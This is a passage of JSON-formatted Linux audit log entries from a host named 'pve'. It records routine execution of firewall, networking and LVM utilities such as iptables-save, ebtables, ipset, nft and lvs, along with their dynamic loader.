{"@timestamp":1781964825195,"@rawstring":"node=pve type=PATH msg=audit(1781964825.195:62800): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825188,"@rawstring":"node=pve type=PATH msg=audit(1781964825.188:62798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825188,"@rawstring":"node=pve type=PATH msg=audit(1781964825.188:62798): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825184,"@rawstring":"node=pve type=PATH msg=audit(1781964825.184:62797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825184,"@rawstring":"node=pve type=PATH msg=audit(1781964825.184:62797): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825179,"@rawstring":"node=pve type=PATH msg=audit(1781964825.179:62796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825179,"@rawstring":"node=pve type=PATH msg=audit(1781964825.179:62796): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825174,"@rawstring":"node=pve type=PATH msg=audit(1781964825.174:62795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825174,"@rawstring":"node=pve type=PATH msg=audit(1781964825.174:62795): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825169,"@rawstring":"node=pve type=PATH msg=audit(1781964825.169:62794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825169,"@rawstring":"node=pve type=PATH msg=audit(1781964825.169:62794): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825163,"@rawstring":"node=pve type=PATH msg=audit(1781964825.163:62793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825163,"@rawstring":"node=pve type=PATH msg=audit(1781964825.163:62793): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825156,"@rawstring":"node=pve type=PATH msg=audit(1781964825.156:62792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825156,"@rawstring":"node=pve type=PATH msg=audit(1781964825.156:62792): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825150,"@rawstring":"node=pve type=PATH msg=audit(1781964825.150:62791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825150,"@rawstring":"node=pve type=PATH msg=audit(1781964825.150:62791): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825146,"@rawstring":"node=pve type=PATH msg=audit(1781964825.146:62790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825146,"@rawstring":"node=pve type=PATH msg=audit(1781964825.146:62790): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825143,"@rawstring":"node=pve type=PATH msg=audit(1781964825.143:62789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825143,"@rawstring":"node=pve type=PATH msg=audit(1781964825.143:62789): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=PATH msg=audit(1781964825.142:62788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=PATH msg=audit(1781964825.142:62788): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=PATH msg=audit(1781964825.142:62787): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825138,"@rawstring":"node=pve type=PATH msg=audit(1781964825.138:62786): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825138,"@rawstring":"node=pve type=PATH msg=audit(1781964825.138:62786): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825138,"@rawstring":"node=pve type=PATH msg=audit(1781964825.138:62786): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825132,"@rawstring":"node=pve type=PATH msg=audit(1781964825.132:62785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825132,"@rawstring":"node=pve type=PATH msg=audit(1781964825.132:62785): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825125,"@rawstring":"node=pve type=PATH msg=audit(1781964825.125:62784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825125,"@rawstring":"node=pve type=PATH msg=audit(1781964825.125:62784): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825120,"@rawstring":"node=pve type=PATH msg=audit(1781964825.120:62783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825120,"@rawstring":"node=pve type=PATH msg=audit(1781964825.120:62783): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825113,"@rawstring":"node=pve type=PATH msg=audit(1781964825.113:62782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825113,"@rawstring":"node=pve type=PATH msg=audit(1781964825.113:62782): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825107,"@rawstring":"node=pve type=PATH msg=audit(1781964825.107:62781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825107,"@rawstring":"node=pve type=PATH msg=audit(1781964825.107:62781): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964824223,"@rawstring":"node=pve type=PATH msg=audit(1781964824.223:62780): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964824223,"@rawstring":"node=pve type=PATH msg=audit(1781964824.223:62780): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964824196,"@rawstring":"node=pve type=PATH msg=audit(1781964824.196:62779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964824196,"@rawstring":"node=pve type=PATH msg=audit(1781964824.196:62779): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PATH msg=audit(1781964820.772:62778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PATH msg=audit(1781964820.772:62778): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PATH msg=audit(1781964820.772:62777): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PATH msg=audit(1781964820.772:62776): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PATH msg=audit(1781964820.764:62775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PATH msg=audit(1781964820.764:62775): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PATH msg=audit(1781964820.764:62774): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820764,"@rawstring":"node=pve type=PATH msg=audit(1781964820.764:62773): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=PATH msg=audit(1781964819.952:62772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=PATH msg=audit(1781964819.952:62772): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=PATH msg=audit(1781964819.952:62771): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=PATH msg=audit(1781964819.952:62771): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819950,"@rawstring":"node=pve type=PATH msg=audit(1781964819.950:62770): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964819950,"@rawstring":"node=pve type=PATH msg=audit(1781964819.950:62770): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816096,"@rawstring":"node=pve type=PATH msg=audit(1781964816.096:62769): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816096,"@rawstring":"node=pve type=PATH msg=audit(1781964816.096:62769): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816093,"@rawstring":"node=pve type=PATH msg=audit(1781964816.093:62768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816093,"@rawstring":"node=pve type=PATH msg=audit(1781964816.093:62768): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=PATH msg=audit(1781964816.092:62767): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=PATH msg=audit(1781964816.092:62767): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=PATH msg=audit(1781964816.092:62766): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816087,"@rawstring":"node=pve type=PATH msg=audit(1781964816.087:62765): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816087,"@rawstring":"node=pve type=PATH msg=audit(1781964816.087:62765): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816087,"@rawstring":"node=pve type=PATH msg=audit(1781964816.087:62765): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816082,"@rawstring":"node=pve type=PATH msg=audit(1781964816.082:62764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816082,"@rawstring":"node=pve type=PATH msg=audit(1781964816.082:62764): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816075,"@rawstring":"node=pve type=PATH msg=audit(1781964816.075:62763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816075,"@rawstring":"node=pve type=PATH msg=audit(1781964816.075:62763): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816069,"@rawstring":"node=pve type=PATH msg=audit(1781964816.069:62762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816069,"@rawstring":"node=pve type=PATH msg=audit(1781964816.069:62762): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816061,"@rawstring":"node=pve type=PATH msg=audit(1781964816.061:62761): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816061,"@rawstring":"node=pve type=PATH msg=audit(1781964816.061:62761): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816054,"@rawstring":"node=pve type=PATH msg=audit(1781964816.054:62759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816054,"@rawstring":"node=pve type=PATH msg=audit(1781964816.054:62759): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816051,"@rawstring":"node=pve type=PATH msg=audit(1781964816.051:62758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816051,"@rawstring":"node=pve type=PATH msg=audit(1781964816.051:62758): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816045,"@rawstring":"node=pve type=PATH msg=audit(1781964816.045:62757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816045,"@rawstring":"node=pve type=PATH msg=audit(1781964816.045:62757): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816039,"@rawstring":"node=pve type=PATH msg=audit(1781964816.039:62756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816039,"@rawstring":"node=pve type=PATH msg=audit(1781964816.039:62756): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816034,"@rawstring":"node=pve type=PATH msg=audit(1781964816.034:62755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816034,"@rawstring":"node=pve type=PATH msg=audit(1781964816.034:62755): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816029,"@rawstring":"node=pve type=PATH msg=audit(1781964816.029:62754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816029,"@rawstring":"node=pve type=PATH msg=audit(1781964816.029:62754): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816023,"@rawstring":"node=pve type=PATH msg=audit(1781964816.023:62753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816023,"@rawstring":"node=pve type=PATH msg=audit(1781964816.023:62753): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816017,"@rawstring":"node=pve type=PATH msg=audit(1781964816.017:62752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816017,"@rawstring":"node=pve type=PATH msg=audit(1781964816.017:62752): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816013,"@rawstring":"node=pve type=PATH msg=audit(1781964816.013:62751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816013,"@rawstring":"node=pve type=PATH msg=audit(1781964816.013:62751): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PATH msg=audit(1781964816.010:62750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PATH msg=audit(1781964816.010:62750): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PATH msg=audit(1781964816.010:62749): item=1 